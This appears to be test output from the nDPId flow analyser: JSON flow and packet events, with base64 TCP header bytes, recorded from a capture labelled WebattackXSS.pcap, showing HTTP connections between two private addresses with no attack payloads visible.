+00432{"flow_id":586,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8343,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347972,"pkt_ts_usec":888947,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0JnJAAD4Gn2asEAABwKgKMocQAFDWSp75yUdhzYARAOWKfwAAAQEICgE8vZMD5on8"} +00432{"flow_id":586,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8344,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347972,"pkt_ts_usec":889121,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA07spAAEAG1Q3AqAoyrBAAAQBQhxDJR2HN1kqe+oARAOOFdQAAAQEICgPmjwcBPL2T"} +00432{"flow_id":586,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8345,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347972,"pkt_ts_usec":889665,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0JnNAAD4Gn2WsEAABwKgKMocQAFDWSp76yUdhzoAQAOWFcwAAAQEICgE8vZMD5o8H"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8349,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":589,"flow_packet_id":1,"flow_first_seen":1499347974113,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34642,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":589,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8349,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347974,"pkt_ts_usec":113075,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8rk1AAD4GF4OsEAABwKgKModSAFAISxCIAAAAAKACchD+jAAAAgQFtAQCCAoBPL7FAAAAAAEDAwc="} +00444{"flow_id":589,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8350,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347974,"pkt_ts_usec":113222,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQh1LQi4qtCEsQiaAScSAQEwAAAgQFtAQCCAoD5pA5ATy+xQEDAwc="} +00432{"flow_id":589,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8352,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347974,"pkt_ts_usec":113975,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rk5AAD4GF4qsEAABwKgKModSAFAISxCJ0IuKroAQAOWvGgAAAQEICgE8vsUD5pA5"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8358,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":590,"flow_packet_id":1,"flow_first_seen":1499347975371,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34656,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":590,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8358,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347975,"pkt_ts_usec":371747,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8l4BAAD4GLlCsEAABwKgKModgAFCggleAAAAAAKACchAeFAAAAgQFtAQCCAoBPMAAAAAAAAEDAwc="} +00444{"flow_id":590,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8359,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347975,"pkt_ts_usec":371873,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQh2BVDgzaoIJXgaAScSAnsAAAAgQFtAQCCAoD5pF0ATzAAAEDAwc="} +00432{"flow_id":590,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8361,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347975,"pkt_ts_usec":372596,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0l4FAAD4GLlesEAABwKgKModgAFCggleBVQ4M24AQAOXGtwAAAQEICgE8wAAD5pF0"} +00433{"flow_id":587,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8364,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347975,"pkt_ts_usec":890028,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vvhAAD4GBuCsEAABwKgKMocqAFAxLQXzDyRfcoARAOV\/ngAAAQEICgE8wIED5ox4"} +00432{"flow_id":587,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8365,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347975,"pkt_ts_usec":890284,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0zodAAEAG9VDAqAoyrBAAAQBQhyoPJF9yMS0F9IARAON6IgAAAQEICgPmkfUBPMCB"} +00432{"flow_id":587,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8366,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347975,"pkt_ts_usec":890795,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vvlAAD4GBt+sEAABwKgKMocqAFAxLQX0DyRfc4AQAOV6HwAAAQEICgE8wIID5pH1"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8370,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":591,"flow_packet_id":1,"flow_first_seen":1499347976658,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34670,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":591,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8370,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347976,"pkt_ts_usec":658358,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Z4xAAD4GXkSsEAABwKgKModuAFDMdKbNAAAAAKACchChhQAAAgQFtAQCCAoBPMFBAAAAAAEDAwc="} +00444{"flow_id":591,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8371,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347976,"pkt_ts_usec":658528,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQh26qPdKAzHSmzqAScSCPCQAAAgQFtAQCCAoD5pK2ATzBQQEDAwc="} +00432{"flow_id":591,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8372,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347976,"pkt_ts_usec":659161,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Z41AAD4GXkusEAABwKgKModuAFDMdKbOqj3SgYAQAOUuEAAAAQEICgE8wUID5pK2"} +00432{"flow_id":588,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8376,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347976,"pkt_ts_usec":890118,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XBRAAD4GacSsEAABwKgKMoc4AFCpCuBWMoOIX4ARAOXexQAAAQEICgE8wXsD5o27"} +00432{"flow_id":588,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8377,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347976,"pkt_ts_usec":890310,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0GrBAAEAGqSjAqAoyrBAAAQBQhzgyg4hfqQrgV4ARAOPZkgAAAQEICgPmku8BPMF7"} +00432{"flow_id":588,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8378,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347976,"pkt_ts_usec":891089,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XBVAAD4GacOsEAABwKgKMoc4AFCpCuBXMoOIYIAQAOXZjwAAAQEICgE8wXwD5pLv"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8385,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":549,"flow_packet_id":6,"flow_first_seen":1499347903125,"flow_last_seen":1499347908876,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33902,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8385,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":549,"flow_packet_id":6,"flow_first_seen":1499347903125,"flow_last_seen":1499347908876,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33902,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8385,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":550,"flow_packet_id":6,"flow_first_seen":1499347904387,"flow_last_seen":1499347909877,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33916,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8385,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":550,"flow_packet_id":6,"flow_first_seen":1499347904387,"flow_last_seen":1499347909877,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33916,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8385,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":551,"flow_packet_id":6,"flow_first_seen":1499347905694,"flow_last_seen":1499347910877,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33930,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8385,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":551,"flow_packet_id":6,"flow_first_seen":1499347905694,"flow_last_seen":1499347910877,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33930,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8385,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":552,"flow_packet_id":6,"flow_first_seen":1499347908253,"flow_last_seen":1499347913877,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33956,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8385,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":552,"flow_packet_id":6,"flow_first_seen":1499347908253,"flow_last_seen":1499347913877,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33956,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8385,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":553,"flow_packet_id":6,"flow_first_seen":1499347909575,"flow_last_seen":1499347914878,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33970,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8385,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":553,"flow_packet_id":6,"flow_first_seen":1499347909575,"flow_last_seen":1499347914878,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33970,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8385,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":554,"flow_packet_id":6,"flow_first_seen":1499347912141,"flow_last_seen":1499347917877,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33996,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8385,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":554,"flow_packet_id":6,"flow_first_seen":1499347912141,"flow_last_seen":1499347917877,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33996,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8385,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":555,"flow_packet_id":6,"flow_first_seen":1499347913416,"flow_last_seen":1499347918877,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34010,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8385,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":555,"flow_packet_id":6,"flow_first_seen":1499347913416,"flow_last_seen":1499347918877,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34010,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8388,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":592,"flow_packet_id":1,"flow_first_seen":1499347979251,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34696,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":592,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8388,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347979,"pkt_ts_usec":251367,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8naJAAD4GKC6sEAABwKgKMoeIAFCOM15oAAAAAKACchAliQAAAgQFtAQCCAoBPMPKAAAAAAEDAwc="} +00444{"flow_id":592,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8389,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347979,"pkt_ts_usec":251461,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQh4iSkzqsjjNeaaAScSDAAwAAAgQFtAQCCAoD5pU+ATzDygEDAwc="} +00432{"flow_id":592,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8390,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347979,"pkt_ts_usec":252240,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0naNAAD4GKDWsEAABwKgKMoeIAFCOM15pkpM6rYAQAOVfCwAAAQEICgE8w8oD5pU+"} +00432{"flow_id":589,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8394,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347979,"pkt_ts_usec":890860,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rk9AAD4GF4msEAABwKgKModSAFAISxCJ0IuKroARAOWpdAAAAQEICgE8xGoD5pA5"} +00432{"flow_id":589,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8395,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347979,"pkt_ts_usec":891129,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0H3BAAEAGpGjAqAoyrBAAAQBQh1LQi4quCEsQioARAOOj0AAAAQEICgPmld4BPMRq"} +00432{"flow_id":589,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8396,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347979,"pkt_ts_usec":891846,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rlBAAD4GF4isEAABwKgKModSAFAISxCK0IuKr4AQAOWjzgAAAQEICgE8xGoD5pXe"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8400,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":593,"flow_packet_id":1,"flow_first_seen":1499347980524,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34710,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":593,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8400,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347980,"pkt_ts_usec":524401,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8eP5AAD4GTNKsEAABwKgKMoeWAFDY8732AAAAAKACchB57gAAAgQFtAQCCAoBPMUIAAAAAAEDAwc="} +00444{"flow_id":593,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8401,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347980,"pkt_ts_usec":524529,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQh5YkRgUi2PO996AScSC3AgAAAgQFtAQCCAoD5pZ8ATzFCAEDAwc="} +00432{"flow_id":593,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8402,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347980,"pkt_ts_usec":525222,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0eP9AAD4GTNmsEAABwKgKMoeWAFDY8733JEYFI4AQAOVWCgAAAQEICgE8xQgD5pZ8"} +00432{"flow_id":590,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8406,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347980,"pkt_ts_usec":891349,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0l4JAAD4GLlasEAABwKgKModgAFCggleBVQ4M24ARAOXBUgAAAQEICgE8xWQD5pF0"} +00432{"flow_id":590,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8407,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347980,"pkt_ts_usec":891608,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0mgNAAEAGKdXAqAoyrBAAAQBQh2BVDgzboIJXgoARAOO77wAAAQEICgPmltgBPMVk"} +00432{"flow_id":590,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8408,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347980,"pkt_ts_usec":892351,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0l4NAAD4GLlWsEAABwKgKModgAFCggleCVQ4M3IAQAOW77QAAAQEICgE8xWQD5pbY"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8412,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":594,"flow_packet_id":1,"flow_first_seen":1499347981782,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34724,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":594,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8412,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347981,"pkt_ts_usec":782559,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8XEpAAD4GaYasEAABwKgKMoekAFBFSZoIAAAAAKACchAwPwAAAgQFtAQCCAoBPMZCAAAAAAEDAwc="} +00444{"flow_id":594,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8413,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347981,"pkt_ts_usec":782686,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQh6RlAFMiRUmaCaAScSDdXQAAAgQFtAQCCAoD5pe3ATzGQgEDAwc="} 